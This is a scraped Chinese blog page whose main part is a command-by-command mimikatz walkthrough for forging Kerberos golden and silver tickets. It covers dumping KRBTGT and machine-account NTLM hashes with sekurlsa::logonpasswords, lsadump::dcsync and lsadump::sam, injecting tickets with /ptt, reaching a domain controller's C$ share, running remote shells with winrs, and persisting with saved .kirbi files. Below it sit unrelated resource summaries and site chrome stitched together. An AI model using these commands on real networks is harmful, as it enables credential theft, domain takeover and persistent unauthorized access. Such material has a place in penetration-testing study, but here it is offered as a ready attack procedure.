  1. 通过信息收集工具获取信息(mimikatz.exe

    1. 域SID:whoami /user
    2. KRBTGT 账户的 NTLM 哈希
  2. 生成黄金票据(mimikatz.exe

    1. 在任意一台机器(甚至非域成员)上运行 mimikatz指令

      kerberos::purge                        # 清除当前所有票据
      kerberos::golden /user:任意用户名 /domain:<域名> /sid:<域SID> /krbtgt:<KRBTGT_NTLM哈希> /ptt
      

      /user:可随意指定,建议使用目标环境中存在的用户(如域管理员)以避免异常

      /ptt:将生成的票据直接注入到当前会话内存(Pass-The-Ticket)

      示例:
      kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-123456789-1234567890-123456789 /krbtgt:1234567890abcdef1234567890abcdef /ptt
      
  3. 验证票据是否生效:klist

    应该能看到一个 TGT 票据,发行者为 krbtgt

  4. 访问域控的资源共享:dir \\ip\c$

    成功列出目录,说明票据生效

  5. 持久化:
    生成票据的时候生成票据文件:kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:... /ticket:ticket.kirbi,之后可用 kerberos::ptt ticket.kirbi 注入

白银票据伪造流程:

  1. 信息收集和黄金票据一致外加FQDN(完全限定域名)以及服务器名$

    FQDN:net view /domain

    服务器名:

    sekurlsa::logonpasswords
    在输出中查找类似 Username: FILESRV$ 的条目,其 Hash NTLM 字段即为机器账户的 NTLM 哈希
    
    lsadump::dcsync /domain:corp.local /user:FILESRV$
    执行后会返回该账户的详细信息,其中包含 NTLM 哈希
    
    privilege::debug
    token::elevate
    lsadump::sam
    在 SAM 数据库中找到 FILESRV$ 的 NTLM 哈希
    
  2. 确认目标的服务类型

    1. cifs:文件共享(SMB)
    2. http:Web 服务、WinRM
    3. host:计划任务、远程执行
    4. ldap:LDAP 操作
    5. mssql:SQL Server
  3. 生成并注入白银票据

    kerberos::purge
    kerberos::golden /user:<任意用户名> /domain:<域名> /sid:<域SID> /target:<目标服务器FQDN> /service:<服务类型> /rc4:<目标服务器NTLM哈希> /ptt
    
    • /user:可随意指定,建议用目标服务器上已有的用户(如 Administrator)以避免异常
    • /target:目标服务器的完整域名,例如 filesrv.corp.local
    • /service:要访问的服务,例如 cifs
    • /rc4:填入步骤1中收集的目标服务器机器账户的 NTLM 哈希
    • /ptt:将票据注入当前会话
  4. 验证访问共享资源dir \\ip\C$或者访问其他的服务winrs -r:filesrv.corp.local cmd

特殊文件

.phps:存放php文件的源代码,特殊情况下才会有 例如:index.phps查看index.php文件的源代码

内容概要:本文围绕“计及蓄意攻击的电网多阶段级联故障诱发机制与MILP优化模型”展开,提出了一种基于混合整数线性规划(MILP)的双层优化模型,用于模拟和分析在蓄意攻击下电力系统多阶段级联故障的传播机理与脆弱性特征。通过构建攻击者与系统运行之间的博弈框架,上层模型刻画攻击者以最小代价最大化系统损失的最优攻击策略,下层模型模拟电网在故障后的交流潮流重分布、负荷切除及系统恢复行为,从而实现对关键脆弱元件和攻击路径的精准识别。研究依托Matlab平台实现完整算法流程,并结合IEEE 39节点、33节点等标准系统进行仿真验证,有效评估了电网在恶意攻击场景下的安全性与韧性水平,为电力系统的防御加固、关键资产保护及应急预案制定提供了理论依据与技术支撑。; 适合人群:具备电力系统分析、运筹学优化理论基础及Matlab编程能力的研究生、高校科研人员以及从事电网安全评估、电力系统规划与防御策略研究的工程技术人员。; 使用场景及目标:①用于电力系统关键节点与线路的脆弱性评估,识别潜在攻击目标;②支撑电网主动防御体系设计,优化防护资源布局;③作为高水平学术研究参考资料,复现并拓展顶级EI期刊论文中的建模方法与仿真流程,进一步研究N-k故障、虚假数据注入攻击等延伸问题。; 阅读建议:建议结合提供的Matlab代码与网盘资料,逐步调试运行仿真案例,深入理解MILP建模技巧、双层优化求解机制及YALMIP工具包的应用,同时可尝试引入不确定性因素或动态恢复策略以提升模型的实用性与前沿性。
源码链接: https://pan.quark.cn/s/a4b39357ea24 ### 从网络页面中获取视频文件链接 #### 一、前言 随着互联网技术的不断进步,越来越多的用户倾向于在网络上进行视频内容的观看。然而,对于部分用户而言,将视频资源保存至本地以便离线观看的需求日益凸显。本文将系统阐述通过特定平台和技术手段完成网页视频资源的在线获取及下载过程。 #### 二、获取网页视频资源链接的途径 ##### 2.1 借助专业平台提取视频资源链接 一种便捷的操作方式是利用专门的在线平台来获取网页中的视频资源链接。例如,可以借助`http://www.flvcd.com`这类平台来高效提取视频资源地址。具体操作流程如下: 1. **复制网页标识符**:定位至期望下载的视频页面,复制该页面的网络地址。 2. **进入提取平台**:在浏览器中访问`http://www.flvcd.com`网站。 3. **粘贴并分析**:将复制的网络地址粘贴到网站提供的视频解析框内,点击“开始GO”按钮。该平台会针对输入的链接进行解析,并尝试提取视频文件的实际下载路径。 4. **获取下载路径**:解析完成后,系统会展示一个或多个可用的下载链接,用户可通过这些链接利用下载工具(如迅雷)将视频文件保存至本地。 此类在线提取方法的最大优势在于无需安装任何客户端软件或插件,操作流程简明扼要,特别适合应急使用或无法安装软件的场景。 ##### 2.2 使用专用软件提取并保存视频资源 对于经常需要下载视频的用户群体,采用专业软件可能是更为高效的选择。其中,“硕鼠”是一款备受推崇的视频获取工具。具体操作步骤如下: 1. **获取并部署软件**:前往官方网站`http://download...
内容概要:本文围绕《【EI复现】梯级水光互补系统最大化可消纳电量期望短期优化调度模型(Matlab代码实现)》这一技术资源展开,详细介绍了一个针对水电与光伏发电协同运行的短期优化调度模型。该模型以提升可再生能源的可消纳电量期望为核心目标,重点应对光伏出力不确定性带来的调度挑战。研究采用Matlab作为实现平台,通过构建数学优化模型(如MILP),结合场景生成与缩减技术(如拉丁超立方抽样)处理光伏出力的随机性,实现了对梯级水电站与光伏电站的联合优化调度。模型综合考虑了水资源约束、电力系统潮流、设备运行特性等多种因素,旨在通过科学的调度决策,提高清洁能源的整体利用率和系统运行的经济性与稳定性。; 适合人群:具备一定电力系统、可再生能源或优化理论背景,从事相关科研工作的研究生、科研人员及工程技术人员。; 使用场景及目标:①复现高水平期刊(EI)论文中的优化调度模型;②研究梯级水电与光伏发电的协同调度策略;③掌握基于Matlab的能源系统优化建模与求解方法;④提升在新能源消纳、电力系统调度等领域的科研与实践能力。; 阅读建议:建议读者结合提供的Matlab代码,深入理解模型的数学推导与算法实现细节,重点关注目标函数构建、约束条件设定及不确定性处理方法,并尝试在不同场景下进行仿真验证与结果分析。
内容概要:本报告围绕手机端CRM企业版的开发需求进行全面分析,涵盖用户角色权限设计、多渠道沟通数据接入、AI智能化能力集成、系统架构设计、隐私合规安全策略、UI/UX优化、系统集成同步、关键指标监控及部署运维方案。系统需支持销售员、高管、老板三类核心角色,实现差异化功能权限与界面展示,并聚合微信、QQ、邮件、电话录音、短信等多渠道客户沟通数据,构建统一客户画像。通过集成AI模型实现客户意向识别、情感分析、成交概率预测与智能提醒,提升销售决策效率。系统采用微服务架构,结合Kafka/RabbitMQ消息队列,支持实时推送与离线批处理,确保高性能与可扩展性。同时,严格遵循《个人信息保护法》要求,实施数据加密、脱敏、访问控制与审计日志等安全措施,保障数据合规。报告还提出了快速MVP、标准版与企业级三种实施路径,分别对应不同的开发周期、人月投入与预算范围,助力企业分阶段落地CRM系统。; 适合人群:产品经理、技术负责人及企业数字化转型决策者,尤其适用于计划开发或升级移动CRM系统的企业团队。; 使用场景及目标:①构建支持多角色、多终端的企业级CRM系统;②实现跨渠道客户数据聚合与统一管理;③集成AI能力以提升销售转化与客户洞察;④确保系统符合国内数据安全与隐私合规要求;⑤制定合理的技术选型与分阶段实施路线。; 阅读建议:此资源作为企业级CRM产品的需求规格说明书,内容详实且具备高度可操作性,建议结合自身业务场景,从中提取适配的角色权限模型、技术架构方案与合规控制点,并在开发过程中分阶段验证MVP功能,持续迭代优化。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值